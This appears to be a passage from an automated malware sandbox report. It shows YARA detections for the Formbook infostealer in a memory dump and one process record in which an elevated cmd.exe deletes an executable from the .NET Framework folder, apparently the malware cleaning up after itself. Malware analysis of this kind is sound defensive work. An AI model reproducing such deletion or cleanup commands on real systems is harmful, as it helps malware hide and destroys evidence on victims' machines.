0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Has exited:	false

Target ID:	28
Start time:	01:15:16
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x4a2b0000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true